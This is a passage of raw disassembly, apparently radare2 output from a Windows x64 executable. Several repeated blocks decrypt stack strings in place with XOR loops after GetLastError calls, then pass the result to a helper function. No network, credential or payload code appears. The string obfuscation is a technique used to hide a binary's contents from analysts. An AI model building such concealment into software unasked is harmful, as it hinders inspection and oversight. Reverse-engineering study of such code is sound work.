sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x30
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x26
jl 0x14003f2f0
lea rcx, [rsp + 0x50]
vzeroupper
call fcn.1400036e0
nop
mov rdx, qword [rsp + 0xb8]
cmp rdx, 0x10
jb 0x14003f371
inc rdx
mov rcx, qword [rsp + 0xa0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14003f36c
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14003f9a6
call fcn.14000ee30
mov qword [rsp + 0xb0], rsi
mov qword [rsp + 0xb8], 0xf
mov byte [rsp + 0xa0], 0
mov rdx, qword [rsp + 0xd8]
cmp rdx, 0x10
jb 0x14003f3d0
inc rdx
mov rcx, qword [rsp + 0xc0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14003f3cb
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14003f991
call fcn.14000ee30
mov al, 1
jmp 0x14003f93f
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov r10d, eax
vmovups ymm0, ymmword [0x140061070]
vmovups ymmword [rsp + 0x50], ymm0
vmovsd xmm1, qword [0x140061090]
vmovsd qword [rsp + 0x70], xmm1
mov ecx, dword [0x140061098]
mov dword [rsp + 0x78], ecx
vmovdqu xmm7, xmmword [0x140061ed0]
mov r8d, esi
vmovdqu xmm6, xmmword [0x140062000]
vmovd xmm8, r15d
vmovdqu xmm9, xmmword [0x140061f50]
vmovd xmm10, r12d
vmovdqu xmm0, xmmword [0x140061fe0]
vmovdqu xmmword [rsp + 0x40], xmm0
lea rcx, [rsp + 0x54]
mov edx, dword [rsp + 0x40]
vmovd xmm0, r8d
vpshufd xmm0, xmm0, 0
vpaddd xmm5, xmm0, xmm7
vpunpckldq xmm0, xmm5, xmm5
vpmuldq xmm3, xmm0, xmm6
vpunpckhdq xmm1, xmm5, xmm5
vpmuldq xmm2, xmm1, xmm6
vshufps xmm0, xmm3, xmm2, 0xdd
vpsrad xmm4, xmm0, xmm8
vpsrld xmm0, xmm4, xmm10
vpaddd xmm1, xmm0, xmm4
vpmulld xmm2, xmm1, xmm9
vpsubd xmm3, xmm5, xmm2
vpshufb xmm4, xmm3, xmmword [0x140061e90]
vmovd xmm1, edx
vpaddb xmm2, xmm4, xmm1
vmovd xmm0, dword [rcx - 4]
vpxor xmm1, xmm2, xmm0
vmovd dword [rcx - 4], xmm1
lea eax, [r8 + 4]
vmovd xmm0, eax
vpshufd xmm0, xmm0, 0
vpaddd xmm5, xmm0, xmm7
vpunpckldq xmm0, xmm5, xmm5
vpmuldq xmm3, xmm0, xmm6
vpunpckhdq xmm1, xmm5, xmm5
vpmuldq xmm2, xmm1, xmm6
vshufps xmm0, xmm3, xmm2, 0xdd
vpsrad xmm4, xmm0, xmm8
vpsrld xmm1, xmm4, xmm10
vpaddd xmm0, xmm1, xmm4
vpmulld xmm2, xmm0, xmm9
vpsubd xmm3, xmm5, xmm2
vpshufb xmm4, xmm3, xmmword [0x140061e90]
vmovd xmm0, edx
vpaddb xmm1, xmm4, xmm0
vmovd xmm0, dword [rcx]
vpxor xmm1, xmm1, xmm0
vmovd dword [rcx], xmm1
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x28
jl 0x14003f442
cmp r8d, 0x2c
jge 0x14003f550
movsxd rax, r8d
lea r9, [rsp + 0x50]
add r9, rax
nop dword [rax]
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x30
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x2c
jl 0x14003f520
lea rcx, [rsp + 0x50]
mov edx, r10d
vzeroupper
call fcn.1400036e0
jmp 0x14003e8be
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov r10d, eax
vmovups ymm0, ymmword [0x140061168]
vmovups ymmword [rsp + 0x50], ymm0
mov ecx, dword [str._t__v_V]
mov dword [rsp + 0x70], ecx
movzx ecx, word [0x14006118c]
mov word [rsp + 0x74], cx
movzx ecx, byte [0x14006118e]
mov byte [rsp + 0x76], cl
vmovdqu xmm7, xmmword [0x140061ed0]
mov r8d, esi
vmovdqu xmm6, xmmword [0x140062000]
vmovd xmm8, r15d
vmovdqu xmm9, xmmword [0x140061f50]
vmovd xmm10, r12d
vmovdqu xmm0, xmmword [0x140061fe0]
vmovdqu xmmword [rsp + 0x40], xmm0
lea rcx, [rsp + 0x54]
mov edx, dword [rsp + 0x40]
nop dword [rax]
vmovd xmm0, r8d
vpshufd xmm0, xmm0, 0
vpaddd xmm5, xmm0, xmm7
vpunpckldq xmm0, xmm5, xmm5
vpmuldq xmm3, xmm0, xmm6
vpunpckhdq xmm1, xmm5, xmm5
vpmuldq xmm2, xmm1, xmm6
vshufps xmm0, xmm3, xmm2, 0xdd
vpsrad xmm4, xmm0, xmm8
vpsrld xmm0, xmm4, xmm10
vpaddd xmm1, xmm0, xmm4
vpmulld xmm2, xmm1, xmm9
vpsubd xmm3, xmm5, xmm2
vpshufb xmm4, xmm3, xmmword [0x140061e90]
vmovd xmm1, edx
vpaddb xmm2, xmm4, xmm1
vmovd xmm0, dword [rcx - 4]
vpxor xmm1, xmm2, xmm0
vmovd dword [rcx - 4], xmm1
lea eax, [r8 + 4]
vmovd xmm0, eax
vpshufd xmm0, xmm0, 0
vpaddd xmm5, xmm0, xmm7
vpunpckldq xmm0, xmm5, xmm5
vpmuldq xmm3, xmm0, xmm6
vpunpckhdq xmm1, xmm5, xmm5
vpmuldq xmm2, xmm1, xmm6
vshufps xmm0, xmm3, xmm2, 0xdd
vpsrad xmm4, xmm0, xmm8
vpsrld xmm1, xmm4, xmm10
vpaddd xmm0, xmm1, xmm4
vpmulld xmm2, xmm0, xmm9
vpsubd xmm3, xmm5, xmm2
vpshufb xmm4, xmm3, xmmword [0x140061e90]
vmovd xmm0, edx
vpaddb xmm1, xmm4, xmm0
vmovd xmm0, dword [rcx]
vpxor xmm1, xmm1, xmm0
vmovd dword [rcx], xmm1
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x20
jl 0x14003f5e0
cmp r8d, 0x27
jge 0x14003f6f0
movsxd rax, r8d
lea r9, [rsp + 0x50]
add r9, rax
nop word [rax + rax]
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x30
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x27
jl 0x14003f6c0
mov edx, r10d
lea rcx, [rsp + 0x50]
vzeroupper
call fcn.1400036e0
nop
mov rdx, qword [rsp + 0xb8]
cmp rdx, 0x10
jb 0x14003f744
inc rdx
mov rcx, qword [rsp + 0xa0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14003f73f
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14003f9a6
call fcn.14000ee30
mov qword [rsp + 0xb0], rsi
mov qword [rsp + 0xb8], 0xf
mov byte [rsp + 0xa0], 0
mov rdx, qword [rsp + 0xd8]
cmp rdx, 0x10
jb 0x14003f93d
inc rdx
mov rcx, qword [rsp + 0xc0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14003e95f
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14003f991
jmp 0x14003e95f
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov r9d, eax
vmovups ymm0, ymmword [0x1400612f0]
vmovups ymmword [rsp + 0x50], ymm0
vmovsd xmm1, qword [0x140061310]
vmovsd qword [rsp + 0x70], xmm1
movzx ecx, byte [0x140061318]
mov byte [rsp + 0x78], cl
vmovdqu xmm7, xmmword [0x140061ed0]
vmovdqu xmm6, xmmword [0x140062000]
vmovd xmm8, r15d
vmovdqu xmm9, xmmword [0x140061f50]
vmovd xmm10, r12d
vmovdqu xmm0, xmmword [0x140061fe0]
vmovdqu xmmword [rsp + 0x40], xmm0
lea rcx, [rsp + 0x54]
mov edx, dword [rsp + 0x40]
nop dword [rax]
nop dword [rax + rax]
vmovd xmm0, esi
vpshufd xmm0, xmm0, 0
vpaddd xmm5, xmm0, xmm7
vpunpckldq xmm0, xmm5, xmm5
vpmuldq xmm3, xmm0, xmm6
vpunpckhdq xmm1, xmm5, xmm5
vpmuldq xmm2, xmm1, xmm6
vshufps xmm0, xmm3, xmm2, 0xdd
vpsrad xmm4, xmm0, xmm8
vpsrld xmm0, xmm4, xmm10
vpaddd xmm1, xmm0, xmm4
vpmulld xmm2, xmm1, xmm9
vpsubd xmm3, xmm5, xmm2
vpshufb xmm4, xmm3, xmmword [0x140061e90]
vmovd xmm1, edx
vpaddb xmm2, xmm4, xmm1
vmovd xmm0, dword [rcx - 4]
vpxor xmm1, xmm2, xmm0
vmovd dword [rcx - 4], xmm1
lea eax, [rsi + 4]
vmovd xmm0, eax
vpshufd xmm0, xmm0, 0
vpaddd xmm5, xmm0, xmm7
vpunpckldq xmm0, xmm5, xmm5
vpmuldq xmm3, xmm0, xmm6
vpunpckhdq xmm1, xmm5, xmm5
vpmuldq xmm2, xmm1, xmm6
vshufps xmm0, xmm3, xmm2, 0xdd
vpsrad xmm4, xmm0, xmm8
vpsrld xmm1, xmm4, xmm10
vpaddd xmm0, xmm1, xmm4
vpmulld xmm2, xmm0, xmm9
vpsubd xmm3, xmm5, xmm2
vpshufb xmm4, xmm3, xmmword [0x140061e90]
vmovd xmm0, edx
vpaddb xmm1, xmm4, xmm0
vmovd xmm0, dword [rcx]
vpxor xmm1, xmm1, xmm0
vmovd dword [rcx], xmm1
add esi, 8
lea rcx, [rcx + 8]
cmp esi, 0x28
jl 0x14003f820
cmp esi, 0x29
jge 0x14003f92d
movsxd rax, esi
lea r8, [rsp + 0x50]
add r8, rax
nop word [rax + rax]
mov eax, 0x4d4873ed
imul esi
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, sil
sub al, cl
add al, 0x30
xor byte [r8], al
inc esi
lea r8, [r8 + 1]
cmp esi, 0x29
jl 0x14003f900
mov edx, r9d
lea rcx, [rsp + 0x50]
vzeroupper
call fcn.1400036e0
xor al, al
mov rcx, qword [rsp + 0x1f0]
xor rcx, rsp
call fcn.14000ee10
lea r11, [rsp + 0x250]
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rdi, qword [r11 + 0x30]
vmovaps xmm6, xmmword [r11 - 0x10]
vmovaps xmm7, xmmword [r11 - 0x20]
vmovaps xmm8, xmmword [r11 - 0x30]
vmovaps xmm9, xmmword [r11 - 0x40]
vmovaps xmm10, xmmword [r11 - 0x50]
mov rsp, r11
pop r15
pop r14
pop r12
ret
call fcn.14000ef40
nop
call fcn.140015b9c
nop
vzeroupper
call fcn.140015b9c
int3
call fcn.140015b9c
nop
call fcn.140015b9c
int3